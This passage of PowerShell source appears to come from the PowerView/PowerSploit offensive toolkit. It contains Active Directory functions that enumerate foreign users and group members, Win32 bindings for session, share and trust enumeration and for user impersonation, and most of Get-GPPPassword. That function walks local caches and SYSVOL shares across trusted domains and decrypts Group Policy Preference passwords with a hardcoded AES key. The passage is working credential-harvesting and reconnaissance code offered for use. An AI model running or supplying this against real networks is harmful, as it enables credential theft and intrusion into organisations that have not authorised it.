  7953.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  7954.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  7955.         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  7956.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  7957.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  7958.         if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
  7959.     }
  7960.  
  7961.     PROCESS {
  7962.         if ($PSBoundParameters['Domain']) {
  7963.             $SearcherArguments['Domain'] = $Domain
  7964.             $TargetDomain = $Domain
  7965.         }
  7966.         elseif ($PSBoundParameters['Credential']) {
  7967.             $TargetDomain = Get-Domain -Credential $Credential | Select-Object -ExpandProperty name
  7968.         }
  7969.         elseif ($Env:USERDNSDOMAIN) {
  7970.             $TargetDomain = $Env:USERDNSDOMAIN
  7971.         }
  7972.         else {
  7973.             throw "[Get-DomainForeignUser] No domain found to enumerate!"
  7974.         }
  7975.  
  7976.         Get-DomainUser @SearcherArguments  | ForEach-Object {
  7977.             ForEach ($Membership in $_.memberof) {
  7978.                 $Index = $Membership.IndexOf('DC=')
  7979.                 if ($Index) {
  7980.  
  7981.                     $GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.'
  7982.  
  7983.                     if ($GroupDomain -ne $TargetDomain) {
  7984.                         # if the group domain doesn't match the user domain, display it
  7985.                         $GroupName = $Membership.Split(',')[0].split('=')[1]
  7986.                         $ForeignUser = New-Object PSObject
  7987.                         $ForeignUser | Add-Member Noteproperty 'UserDomain' $TargetDomain
  7988.                         $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
  7989.                         $ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname
  7990.                         $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
  7991.                         $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
  7992.                         $ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership
  7993.                         $ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser')
  7994.                         $ForeignUser
  7995.                     }
  7996.                 }
  7997.             }
  7998.         }
  7999.     }
  8000. }
  8001.  
  8002. function Get-DomainForeignGroupMember {
  8003.  
  8004.  
  8005.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  8006.     [OutputType('PowerView.ForeignGroupMember')]
  8007.     [CmdletBinding()]
  8008.     Param(
  8009.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  8010.         [Alias('Name')]
  8011.         [ValidateNotNullOrEmpty()]
  8012.         [String]
  8013.         $Domain,
  8014.  
  8015.         [ValidateNotNullOrEmpty()]
  8016.         [Alias('Filter')]
  8017.         [String]
  8018.         $LDAPFilter,
  8019.  
  8020.         [ValidateNotNullOrEmpty()]
  8021.         [String[]]
  8022.         $Properties,
  8023.  
  8024.         [ValidateNotNullOrEmpty()]
  8025.         [Alias('ADSPath')]
  8026.         [String]
  8027.         $SearchBase,
  8028.  
  8029.         [ValidateNotNullOrEmpty()]
  8030.         [Alias('DomainController')]
  8031.         [String]
  8032.         $Server,
  8033.  
  8034.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  8035.         [String]
  8036.         $SearchScope = 'Subtree',
  8037.  
  8038.         [ValidateRange(1, 10000)]
  8039.         [Int]
  8040.         $ResultPageSize = 200,
  8041.  
  8042.         [ValidateRange(1, 10000)]
  8043.         [Int]
  8044.         $ServerTimeLimit,
  8045.  
  8046.         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  8047.         [String]
  8048.         $SecurityMasks,
  8049.  
  8050.         [Switch]
  8051.         $Tombstone,
  8052.  
  8053.         [Management.Automation.PSCredential]
  8054.         [Management.Automation.CredentialAttribute()]
  8055.         $Credential = [Management.Automation.PSCredential]::Empty
  8056.     )
  8057.  
  8058.     BEGIN {
  8059.         $SearcherArguments = @{}
  8060.         $SearcherArguments['LDAPFilter'] = '(member=*)'
  8061.         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  8062.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  8063.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  8064.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  8065.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  8066.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  8067.         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  8068.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  8069.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  8070.         if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
  8071.     }
  8072.  
  8073.     PROCESS {
  8074.         if ($PSBoundParameters['Domain']) {
  8075.             $SearcherArguments['Domain'] = $Domain
  8076.             $TargetDomain = $Domain
  8077.         }
  8078.         elseif ($PSBoundParameters['Credential']) {
  8079.             $TargetDomain = Get-Domain -Credential $Credential | Select-Object -ExpandProperty name
  8080.         }
  8081.         elseif ($Env:USERDNSDOMAIN) {
  8082.             $TargetDomain = $Env:USERDNSDOMAIN
  8083.         }
  8084.         else {
  8085.             throw "[Get-DomainForeignGroupMember] No domain found to enumerate!"
  8086.         }
  8087.  
  8088.         # standard group names to ignore
  8089.         $ExcludeGroups = @('Users', 'Domain Users', 'Guests')
  8090.         $DomainDN = "DC=$($TargetDomain.Replace('.', ',DC='))"
  8091.  
  8092.         Get-DomainGroup @SearcherArguments | Where-Object {$ExcludeGroups -notcontains $_.samaccountname} | ForEach-Object {
  8093.             $GroupName = $_.samAccountName
  8094.             $GroupDistinguishedName = $_.distinguishedname
  8095.  
  8096.             $_.member | ForEach-Object {
  8097.                 # filter for foreign SIDs in the cn field for users in another domain,
  8098.                 #   or if the DN doesn't end with the proper DN for the queried domain
  8099.                 if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.SubString($_.IndexOf('DC='))))) {
  8100.  
  8101.                     $MemberDistinguishedName = $_
  8102.                     $MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  8103.                     $MemberName = $_.Split(',')[0].split('=')[1]
  8104.  
  8105.                     $ForeignGroupMember = New-Object PSObject
  8106.                     $ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain
  8107.                     $ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName
  8108.                     $ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName
  8109.                     $ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
  8110.                     $ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName
  8111.                     $ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName
  8112.                     $ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember')
  8113.                     $ForeignGroupMember
  8114.                 }
  8115.             }
  8116.         }
  8117.     }
  8118. }
  8119.  
  8120.  
  8121.  
  8122. $Mod = New-InMemoryModule -ModuleName Win32
  8123.  
  8124. # [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', Scope='Function', Target='psenum')]
  8125.  
  8126. # used to parse the 'samAccountType' property for users/computers/groups
  8127. $SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{
  8128.     DOMAIN_OBJECT                   =   '0x00000000'
  8129.     GROUP_OBJECT                    =   '0x10000000'
  8130.     NON_SECURITY_GROUP_OBJECT       =   '0x10000001'
  8131.     ALIAS_OBJECT                    =   '0x20000000'
  8132.     NON_SECURITY_ALIAS_OBJECT       =   '0x20000001'
  8133.     USER_OBJECT                     =   '0x30000000'
  8134.     MACHINE_ACCOUNT                 =   '0x30000001'
  8135.     TRUST_ACCOUNT                   =   '0x30000002'
  8136.     APP_BASIC_GROUP                 =   '0x40000000'
  8137.     APP_QUERY_GROUP                 =   '0x40000001'
  8138.     ACCOUNT_TYPE_MAX                =   '0x7fffffff'
  8139. }
  8140.  
  8141. # used to parse the 'grouptype' property for groups
  8142. $GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{
  8143.     CREATED_BY_SYSTEM               =   '0x00000001'
  8144.     GLOBAL_SCOPE                    =   '0x00000002'
  8145.     DOMAIN_LOCAL_SCOPE              =   '0x00000004'
  8146.     UNIVERSAL_SCOPE                 =   '0x00000008'
  8147.     APP_BASIC                       =   '0x00000010'
  8148.     APP_QUERY                       =   '0x00000020'
  8149.     SECURITY                        =   '0x80000000'
  8150. } -Bitfield
  8151.  
  8152. # used to parse the 'userAccountControl' property for users/groups
  8153. $UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{
  8154.     SCRIPT                          =   1
  8155.     ACCOUNTDISABLE                  =   2
  8156.     HOMEDIR_REQUIRED                =   8
  8157.     LOCKOUT                         =   16
  8158.     PASSWD_NOTREQD                  =   32
  8159.     PASSWD_CANT_CHANGE              =   64
  8160.     ENCRYPTED_TEXT_PWD_ALLOWED      =   128
  8161.     TEMP_DUPLICATE_ACCOUNT          =   256
  8162.     NORMAL_ACCOUNT                  =   512
  8163.     INTERDOMAIN_TRUST_ACCOUNT       =   2048
  8164.     WORKSTATION_TRUST_ACCOUNT       =   4096
  8165.     SERVER_TRUST_ACCOUNT            =   8192
  8166.     DONT_EXPIRE_PASSWORD            =   65536
  8167.     MNS_LOGON_ACCOUNT               =   131072
  8168.     SMARTCARD_REQUIRED              =   262144
  8169.     TRUSTED_FOR_DELEGATION          =   524288
  8170.     NOT_DELEGATED                   =   1048576
  8171.     USE_DES_KEY_ONLY                =   2097152
  8172.     DONT_REQ_PREAUTH                =   4194304
  8173.     PASSWORD_EXPIRED                =   8388608
  8174.     TRUSTED_TO_AUTH_FOR_DELEGATION  =   16777216
  8175.     PARTIAL_SECRETS_ACCOUNT         =   67108864
  8176. } -Bitfield
  8177.  
  8178. # enum used by $WTS_SESSION_INFO_1 below
  8179. $WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
  8180.     Active       =    0
  8181.     Connected    =    1
  8182.     ConnectQuery =    2
  8183.     Shadow       =    3
  8184.     Disconnected =    4
  8185.     Idle         =    5
  8186.     Listen       =    6
  8187.     Reset        =    7
  8188.     Down         =    8
  8189.     Init         =    9
  8190. }
  8191.  
  8192. # the WTSEnumerateSessionsEx result structure
  8193. $WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{
  8194.     ExecEnvId = field 0 UInt32
  8195.     State = field 1 $WTSConnectState
  8196.     SessionId = field 2 UInt32
  8197.     pSessionName = field 3 String -MarshalAs @('LPWStr')
  8198.     pHostName = field 4 String -MarshalAs @('LPWStr')
  8199.     pUserName = field 5 String -MarshalAs @('LPWStr')
  8200.     pDomainName = field 6 String -MarshalAs @('LPWStr')
  8201.     pFarmName = field 7 String -MarshalAs @('LPWStr')
  8202. }
  8203.  
  8204. # the particular WTSQuerySessionInformation result structure
  8205. $WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
  8206.     AddressFamily = field 0 UInt32
  8207.     Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
  8208. }
  8209.  
  8210. # the NetShareEnum result structure
  8211. $SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{
  8212.     Name = field 0 String -MarshalAs @('LPWStr')
  8213.     Type = field 1 UInt32
  8214.     Remark = field 2 String -MarshalAs @('LPWStr')
  8215. }
  8216.  
  8217. # the NetWkstaUserEnum result structure
  8218. $WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{
  8219.     UserName = field 0 String -MarshalAs @('LPWStr')
  8220.     LogonDomain = field 1 String -MarshalAs @('LPWStr')
  8221.     AuthDomains = field 2 String -MarshalAs @('LPWStr')
  8222.     LogonServer = field 3 String -MarshalAs @('LPWStr')
  8223. }
  8224.  
  8225. # the NetSessionEnum result structure
  8226. $SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{
  8227.     CName = field 0 String -MarshalAs @('LPWStr')
  8228.     UserName = field 1 String -MarshalAs @('LPWStr')
  8229.     Time = field 2 UInt32
  8230.     IdleTime = field 3 UInt32
  8231. }
  8232.  
  8233. # enum used by $LOCALGROUP_MEMBERS_INFO_2 below
  8234. $SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
  8235.     SidTypeUser             = 1
  8236.     SidTypeGroup            = 2
  8237.     SidTypeDomain           = 3
  8238.     SidTypeAlias            = 4
  8239.     SidTypeWellKnownGroup   = 5
  8240.     SidTypeDeletedAccount   = 6
  8241.     SidTypeInvalid          = 7
  8242.     SidTypeUnknown          = 8
  8243.     SidTypeComputer         = 9
  8244. }
  8245.  
  8246. # the NetLocalGroupEnum result structure
  8247. $LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{
  8248.     lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
  8249.     lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
  8250. }
  8251.  
  8252. # the NetLocalGroupGetMembers result structure
  8253. $LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
  8254.     lgrmi2_sid = field 0 IntPtr
  8255.     lgrmi2_sidusage = field 1 $SID_NAME_USE
  8256.     lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
  8257. }
  8258.  
  8259. # enums used in DS_DOMAIN_TRUSTS
  8260. $DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
  8261.     IN_FOREST       = 1
  8262.     DIRECT_OUTBOUND = 2
  8263.     TREE_ROOT       = 4
  8264.     PRIMARY         = 8
  8265.     NATIVE_MODE     = 16
  8266.     DIRECT_INBOUND  = 32
  8267. } -Bitfield
  8268. $DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
  8269.     DOWNLEVEL   = 1
  8270.     UPLEVEL     = 2
  8271.     MIT         = 3
  8272.     DCE         = 4
  8273. }
  8274. $DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
  8275.     NON_TRANSITIVE      = 1
  8276.     UPLEVEL_ONLY        = 2
  8277.     FILTER_SIDS         = 4
  8278.     FOREST_TRANSITIVE   = 8
  8279.     CROSS_ORGANIZATION  = 16
  8280.     WITHIN_FOREST       = 32
  8281.     TREAT_AS_EXTERNAL   = 64
  8282. }
  8283.  
  8284. # the DsEnumerateDomainTrusts result structure
  8285. $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
  8286.     NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
  8287.     DnsDomainName = field 1 String -MarshalAs @('LPWStr')
  8288.     Flags = field 2 $DsDomainFlag
  8289.     ParentIndex = field 3 UInt32
  8290.     TrustType = field 4 $DsDomainTrustType
  8291.     TrustAttributes = field 5 $DsDomainTrustAttributes
  8292.     DomainSid = field 6 IntPtr
  8293.     DomainGuid = field 7 Guid
  8294. }
  8295.  
  8296. # used by WNetAddConnection2W
  8297. $NETRESOURCEW = struct $Mod NETRESOURCEW @{
  8298.     dwScope =         field 0 UInt32
  8299.     dwType =          field 1 UInt32
  8300.     dwDisplayType =   field 2 UInt32
  8301.     dwUsage =         field 3 UInt32
  8302.     lpLocalName =     field 4 String -MarshalAs @('LPWStr')
  8303.     lpRemoteName =    field 5 String -MarshalAs @('LPWStr')
  8304.     lpComment =       field 6 String -MarshalAs @('LPWStr')
  8305.     lpProvider =      field 7 String -MarshalAs @('LPWStr')
  8306. }
  8307.  
  8308. # all of the Win32 API functions we need
  8309. $FunctionDefinitions = @(
  8310.     (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
  8311.     (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
  8312.     (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
  8313.     (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
  8314.     (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
  8315.     (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
  8316.     (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
  8317.     (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
  8318.     (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
  8319.     (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
  8320.     (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
  8321.     (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
  8322.     (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
  8323.     (func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
  8324.     (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
  8325.     (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
  8326.     (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
  8327.     (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
  8328.     (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
  8329.     (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
  8330.     (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
  8331.     (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
  8332.     (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
  8333. )
  8334.  
  8335. $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
  8336. $Netapi32 = $Types['netapi32']
  8337. $Advapi32 = $Types['advapi32']
  8338. $Wtsapi32 = $Types['wtsapi32']
  8339. $Mpr = $Types['Mpr']
  8340. $Kernel32 = $Types['kernel32']
  8341.  
  8342.  
  8343. function Get-GPPPassword {
  8344.  
  8345.  
  8346.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
  8347.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  8348.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')]
  8349.     [CmdletBinding()]
  8350.     Param (
  8351.         [ValidateNotNullOrEmpty()]
  8352.         [String]
  8353.         $Server = $Env:USERDNSDOMAIN,
  8354.  
  8355.         [Switch]
  8356.         $SearchForest
  8357.     )
  8358.  
  8359.     # define helper function that decodes and decrypts password
  8360.     function Get-DecryptedCpassword {
  8361.         [CmdletBinding()]
  8362.         Param (
  8363.             [string] $Cpassword
  8364.         )
  8365.  
  8366.         try {
  8367.             #Append appropriate padding based on string length
  8368.             $Mod = ($Cpassword.length % 4)
  8369.  
  8370.             switch ($Mod) {
  8371.                 '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
  8372.                 '2' {$Cpassword += ('=' * (4 - $Mod))}
  8373.                 '3' {$Cpassword += ('=' * (4 - $Mod))}
  8374.             }
  8375.  
  8376.             $Base64Decoded = [Convert]::FromBase64String($Cpassword)
  8377.            
  8378.             # Make sure System.Core is loaded
  8379.             [System.Reflection.Assembly]::LoadWithPartialName("System.Core") |Out-Null
  8380.  
  8381.             #Create a new AES .NET Crypto Object
  8382.             $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
  8383.             [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
  8384.                                  0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
  8385.  
  8386.             #Set IV to all nulls to prevent dynamic generation of IV value
  8387.             $AesIV = New-Object Byte[]($AesObject.IV.Length)
  8388.             $AesObject.IV = $AesIV
  8389.             $AesObject.Key = $AesKey
  8390.             $DecryptorObject = $AesObject.CreateDecryptor()
  8391.             [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
  8392.  
  8393.             return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
  8394.         }
  8395.  
  8396.         catch { Write-Error $Error[0] }
  8397.     }
  8398.  
  8399.     # helper function to parse fields from xml files
  8400.     function Get-GPPInnerField {
  8401.     [CmdletBinding()]
  8402.         Param (
  8403.             $File
  8404.         )
  8405.  
  8406.         try {
  8407.             $Filename = Split-Path $File -Leaf
  8408.             [xml] $Xml = Get-Content ($File)
  8409.  
  8410.             # check for the cpassword field
  8411.             if ($Xml.innerxml -match 'cpassword') {
  8412.  
  8413.                 $Xml.GetElementsByTagName('Properties') | ForEach-Object {
  8414.                     if ($_.cpassword) {
  8415.                         $Cpassword = $_.cpassword
  8416.                         if ($Cpassword -and ($Cpassword -ne '')) {
  8417.                            $DecryptedPassword = Get-DecryptedCpassword $Cpassword
  8418.                            $Password = $DecryptedPassword
  8419.                            Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'"
  8420.                         }
  8421.  
  8422.                         if ($_.newName) {
  8423.                             $NewName = $_.newName
  8424.                         }
  8425.  
  8426.                         if ($_.userName) {
  8427.                             $UserName = $_.userName
  8428.                         }
  8429.                         elseif ($_.accountName) {
  8430.                             $UserName = $_.accountName
  8431.                         }
  8432.                         elseif ($_.runAs) {
  8433.                             $UserName = $_.runAs
  8434.                         }
  8435.  
  8436.                         try {
  8437.                             $Changed = $_.ParentNode.changed
  8438.                         }
  8439.                         catch {
  8440.                             Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'"
  8441.                         }
  8442.  
  8443.                         try {
  8444.                             $NodeName = $_.ParentNode.ParentNode.LocalName
  8445.                         }
  8446.                         catch {
  8447.                             Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'"
  8448.                         }
  8449.  
  8450.                         if (!($Password)) {$Password = '[BLANK]'}
  8451.                         if (!($UserName)) {$UserName = '[BLANK]'}
  8452.                         if (!($Changed)) {$Changed = '[BLANK]'}
  8453.                         if (!($NewName)) {$NewName = '[BLANK]'}
  8454.  
  8455.                         $GPPPassword = New-Object PSObject
  8456.                         $GPPPassword | Add-Member Noteproperty 'UserName' $UserName
  8457.                         $GPPPassword | Add-Member Noteproperty 'NewName' $NewName
  8458.                         $GPPPassword | Add-Member Noteproperty 'Password' $Password
  8459.                         $GPPPassword | Add-Member Noteproperty 'Changed' $Changed
  8460.                         $GPPPassword | Add-Member Noteproperty 'File' $File
  8461.                         $GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName
  8462.                         $GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword
  8463.                         $GPPPassword
  8464.                     }
  8465.                 }
  8466.             }
  8467.         }
  8468.         catch {
  8469.             Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_"
  8470.         }
  8471.     }
  8472.  
  8473.     # helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain
  8474.     function Get-DomainTrust {
  8475.         [CmdletBinding()]
  8476.         Param (
  8477.             $Domain
  8478.         )
  8479.  
  8480.         if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) {
  8481.             try {
  8482.                 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
  8483.                 $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
  8484.                 if ($DomainObject) {
  8485.                     $DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
  8486.                 }
  8487.             }
  8488.             catch {
  8489.                 Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_"
  8490.             }
  8491.  
  8492.             try {
  8493.                 $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain)
  8494.                 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
  8495.                 if ($ForestObject) {
  8496.                     $ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName
  8497.                 }
  8498.             }
  8499.             catch {
  8500.                 Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_"
  8501.             }
  8502.         }
  8503.     }
  8504.  
  8505.     # helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain
  8506.     function Get-DomainTrustMapping {
  8507.         [CmdletBinding()]
  8508.         Param ()
  8509.  
  8510.         # keep track of domains seen so we don't hit infinite recursion
  8511.         $SeenDomains = @{}
  8512.  
  8513.         # our domain stack tracker
  8514.         $Domains = New-Object System.Collections.Stack
  8515.  
  8516.         try {
  8517.             $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
  8518.             $CurrentDomain
  8519.         }
  8520.         catch {
  8521.             Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_"
  8522.         }
  8523.  
  8524.         if ($CurrentDomain -and $CurrentDomain -ne '') {
  8525.             $Domains.Push($CurrentDomain)
  8526.  
  8527.             while($Domains.Count -ne 0) {
  8528.  
  8529.                 $Domain = $Domains.Pop()
  8530.  
  8531.                 # if we haven't seen this domain before
  8532.                 if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) {
  8533.  
  8534.                     Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'"
  8535.  
  8536.                     # mark it as seen in our list
  8537.                     $Null = $SeenDomains.Add($Domain, '')
  8538.  
  8539.                     try {
  8540.                         # get all the domain/forest trusts for this domain
  8541.                         Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object {
  8542.                             # only output if we haven't already seen this domain and if it's pingable
  8543.                             if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) {
  8544.                                 $Null = $Domains.Push($_)
  8545.                                 $_
  8546.                             }
  8547.                         }
  8548.                     }
  8549.                     catch {
  8550.                         Write-Verbose "[Get-DomainTrustMapping] Error: $_"
  8551.                     }
  8552.                 }
  8553.             }
  8554.         }
  8555.     }
  8556.  
  8557.     try {
  8558.         $XMLFiles = @()
  8559.         $Domains = @()
  8560.  
  8561.         $AllUsers = $Env:ALLUSERSPROFILE
  8562.         if (-not $AllUsers) {
  8563.             $AllUsers = 'C:\ProgramData'
  8564.         }
  8565.  
  8566.         # discover any locally cached GPP .xml files
  8567.         Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files'
  8568.         $XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue
  8569.  
  8570.         if ($SearchForest) {
  8571.             Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts'
  8572.             $Domains += Get-DomainTrustMapping
  8573.         }
  8574.         else {
  8575.             if ($Server) {
  8576.                 $Domains += , $Server
  8577.             }
  8578.             else {
  8579.                 # in case we're in a SYSTEM context
  8580.                 $Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name
  8581.             }
  8582.         }
  8583.  
  8584.         $Domains = $Domains | Where-Object {$_} | Sort-Object -Unique
  8585.  
  8586.         ForEach ($Domain in $Domains) {
  8587.             # discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory
  8588.             Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while."
  8589.             $DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml')
  8590.  
  8591.             if($DomainXMLFiles) {
  8592.                 $XMLFiles += $DomainXMLFiles
  8593.             }
  8594.         }
  8595.  
  8596.         if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' }
  8597.  
